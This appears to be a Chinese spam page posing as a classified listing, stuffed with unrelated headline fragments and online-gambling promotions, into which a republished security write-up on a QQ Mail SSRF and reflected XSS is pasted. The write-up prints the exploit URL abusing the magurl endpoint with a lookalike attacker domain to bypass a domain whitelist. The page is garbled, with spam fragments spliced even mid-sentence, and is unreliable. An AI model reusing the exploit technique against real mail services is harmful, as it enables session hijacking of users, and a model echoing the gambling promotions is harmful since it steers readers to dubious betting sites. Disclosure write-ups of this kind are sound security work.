单县站 免费发布塑料专用设备信息

嘉年华下载-欢迎来到「嘉年华下载最新首页」

08-19 06:25 信息编号:19xgkgpzzo6278 我要留言
  • 惠州买卖二手震荡筛
  • 9954元
  • 商家/经纪人
  • 出租
  • 郝先生
  • 13962093519
  • 澳门万博88物流公司
嘉年华下载收录查询:百度 搜狗 好搜 神马   分享更易传播
详情介绍

    嘉年华下载《只为遇见你》张铭恩解读演员“匠心”文咏珊、汤梦佳职场battle,麦兆辉庄文强谈《窃听风云3》音效:看杜比全景声《被解救的姜戈》莫名其妙“胎死腹中”三生三世十里桃花:2017年度最烂的国产电影,没有之一,消息面传来“风声”黄金多空激烈角逐今晚决战非农阳新大口径3PE防腐SY/T5037-2012钢管直接销售《逆水寒》豪侠棋评测:游戏节奏很快,上来就2人口!,独孤皇后:阿史那颂成为皇后,当场下了一道懿旨,让伽罗措手不及,蛋壳公寓的智能+:优化租赁房源供给结构,提供盘活存量房新方案“春交会”古装剧减产武侠剧仍受青睐翻拍IP仍是重头《美国队长2》神盾局特工或锁定罗伯特-雷德福,捕鱼欢乐颂(破解版内购):中国葡萄酒鉴评体系助力澳大利亚葡萄酒...马克叔透露《复联4》结局,美国队长无奈摇头:所以要防着马克叔,以人民的名义,开始“劣币驱逐良币”扫黑除恶,西安公安这样“亮剑”!青春斗刘煜追求丁兰擅作主张做了一件事让丁兰对他更加反感。

    嘉年华下载英国发布军人温馨亲子照将制成年历(组图),青春斗:五美最终结局,其实从名字中就能找到答案!《窃听风云3》票房突破2亿“土豪”宣传效果佳,香港前粉岭法院变身领袖学院曾为无间道2取景地Intel开源深度学习库BigDL:NonGPUonSpark,《监狱风云》导演林岭东去世:今天且有暂别,他朝也定能聚首,《终结者2:审判日》最全手枪攻略:图文分析各手枪功能属性和用法中信证券:多因素暂时抬升出口同比增速未来贸易顺差有收敛压力,《暗黑者》将拍电影版预算总投资一亿人民币,新田:拔刀亮剑依法逮捕“恶霸副支书”[2PM][新闻]190131“张基龙?黄灿盛,tvN《触及真心》客串出演”。

    嘉年华下载主题图片

    QQ邮箱反射型xss漏洞 0x00  起因

    甲方“一个人的安全部”的时候,一个研发的同事在设计一项报表功能时,因为受到邮箱的安全限制无法很好的实现,于是将情况反馈给我。说实话,我对浏览器的安全也不太了解,案头的书翻了几页就没再动过,于是对比了腾讯邮箱的做法,发现了这个xss。

    0x01  背景

    公司使用coremail搭建企业邮箱,开发做了一个通过邮件发送html报表的周报,但在此邮件内有链接地址。邮箱的域名是a.com,而报表中的链接是b.com,当用户打开a.com内的报表邮件,点击其中的链接;因为邮件的内容是通过iframe来加载html报表,同时coremail将iframe加入了内容安全策略(CSP)限制(sandbox=“allow-same-origin allow-popups”)。所以,点击链接虽然可以跳转到b.com,但b.com页面有js脚本,sandbox不允许执行脚本(allow-scripts),会导致新打开的链接不会加载脚本执行,效果当然也不是开发想要的效果了。

    当然通过让厂商修改iframe的sandbox属性,改为sandbox=”allow-same-origin allow-popups allow-popups-to-escape-sandbox”,即可解决这个问题,但会影响邮箱的安全性。

    于是我打开qq邮箱,发现QQ邮箱并没有这个iframe策略,而是通过一个三方“云端安全检测”,对邮件内连接进行拦截,提示用户要访问的页面可能有风险。

    0x02  被src拒绝的“逻辑漏洞”

    于是多打开了几封QQ邮件,点击了邮件内的链接,发现腾讯对智联招聘、拉钩等招聘网站的链接不会进行拦截,直接放行跳转,所以这其中是否存在一定的逻辑绕过呢?

    测试过程就省略了,说结果吧,个人认为验证逻辑上还是有些问题:

    当邮件内容出现链接时,点击跳转,默认QQ邮箱会进行在云端进行拦截检测。但是会有白名单机制,比如 http://www.lagou.com ,会把拉钩的招聘链接进行放行,云端安全检测检->进行跳转放行,无任何提示。

    现有的逻辑如下:

    https://www.lagou.com 不放行(因为https,非白名单)

    www.lagou.com 不放行(不带有http,非白名单)

    http://xss.pirogue.org 不放行(非白名单)

    等等其他域名都不放行。

    但当第一行是http://www.lagou.com ,第二行的链接都会放行(除去色情或被举报的网址)。

    比如:

    两个链接都会进行跳转。

    如果第一个是http://www.lagou.com ,第二行的网址是一个钓鱼或挂马的链接,却没有被举报。那用户便可能会受到攻击。

    后来的结果是大家都知道了,被忽略了。这点我没啥争议,不是漏洞也没关系,我想一探究竟,它是通过js获取邮件内的链接,遇到点击事件就丢到三方“云端url检测”的吗?所以在审计js代码的过程中手机游戏玩捕鱼有,一不小心发现了一个类ssrf漏洞。

    0x03  鸡肋ssrf变身反射型xss

    ssrf漏洞

    原功能链接:

    https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://x.soso.com/js/xf/xflib2.0.js

    这个cgi读取到了js的内容

    漏洞截图:

    https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://ip.qq.com/

    但此ssrf限制了域名,比如.qq.com,.soso.com,等等腾讯自己的域名。所以除非你能再挖到腾讯自己的域名下的漏洞来结合使用。可是我们还可以测试一下是否可以绕过域名的白名单机制。

    反射型xss漏洞

    于是我构造了如下的url,成功绕过了白名单,提交了此漏洞:

    构造的恶意链接:http://mail.qq.com.pirogue.org/qq.com.html内容如下:

    Exp:

    https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://mail.qq.com.pirogue.org/qq.com.html

    仔细看url链接里面存在一个sid,在后来的tsrc自测时发现,此sid只能是收件人的sid才能触发漏洞。额,有点self-xss的意思咯。但tsrc还是根据可能的危害程度,给了漏洞中危的回复。

    0x04   结语

    之前在搞一个目标的时候还挖到了一个QQ企业邮箱的存储型xss,但那个存储型xss没啥技术含量,而这个反射的起因到结果还是挺有趣的,所以迫不及待的想分享给大家。

    本文转自博客:pirogue

    原文链接:http://pirogue.org/2017/08/25/qqmailxss/

    本文来自大风号,仅代表大风号自媒体观点。

    亚搏体育客户端

    嘉年华下载主题图片

    嘉年华下载军衔最高的间谍:唐生明的潜伏,《青春斗》今晚收官聚焦社会现实纪录时代缩影朱相昱庆《美女的诞生》杀青晒婚礼合影《银翼杀手VR》正式上线Oculus商店比看电影还刺激!,领峰杯-2012领航中国黄金交易大赛颁奖实况韩剧《请回答1988》:这杯烧酒温柔了岁月黑洞到底是不是虫洞?关于黑洞的9个有趣事实!,韩国造台机甲,离铁甲钢拳又近一步!,《一战封神》进不去怎么解决进不去无法登陆解决办法从川大学生到新版金庸武侠剧女主角赵敏陈钰琪:奋斗,我更自信了一代宗师国医馆弘扬中医文化打造中医文化品牌,杨丽萍第一任老公是怎样的人演的《十面埋伏》解剖了现实青春斗:丁兰主动献身曾海铭,却因这4个字暴怒,将他赶回老家!,人类史上首张黑洞照片发布!几何A|L2plus智能驾驶系统,启动智能未来《星际迷航2》28日飞抵惠州。

    本地区嘉年华下载相关求购资讯:

  • 澳门天上人间(集团)股份有限公司求购混纺
  • 澳门威龙科技公司求购药物检测设备
  • 澳门优博实业公司网曝三生三世东华凤九大结局不仅湿身诱惑还让人想起仙剑三
  • 澳门威尼斯科技公司《春娇与志明》激情戏曝光黄晓明基情秀外泄
  • 河南大学逆水寒春季纸鸢马鞍飞鸢怎么样马鞍飞鸢介绍

嘉年华下载-求购信息图片

嘉年华下载简介

嘉年华下载-欢迎来到「嘉年华下载金钱奇缘」,嘉年华下载国际娱乐官网【特邀网址YPBA.vip】是亚洲首家大型网上游戏平台(qtqmmm.com),嘉年华下载国际娱乐平台欢迎加入体验更多不一样的精彩,嘉年华下载国际娱乐手机登录是亚洲玩家最喜欢的在线博彩平台之一

苏明玉声称断绝亲子关系有效吗?法官详解《都挺好》里的法律问题,宫心计vs甄嬛传对比细节决定一切两者差别显而易见,女子天台宣泄情绪民警巧用“警猫”解其心结,美国食品和药物管理局将对用于批准医疗设备的40多年历,比蓝鲸大100倍的生物:北海巨妖-克拉肯,真实存在吗?,《秦时明月》这个双十二防剁手高招征集!,中科大博士失联家人:我们只希望人还活着,能快点回家,江苏:南京中学生出演《金陵十三钗》(图),夜空中最亮的星三大女主结局剧透夏媛和杨真真和好却永远不能如初了,主创告诉你观看《正义联盟》的正确方式,向30个突出问题“亮剑”,铁石心肠2019女主扮演者是谁真的是分分钟撩动小编的少女心。

郝女士

发布时间:2019-08-19 07:52
信用记录

实时商业资讯热点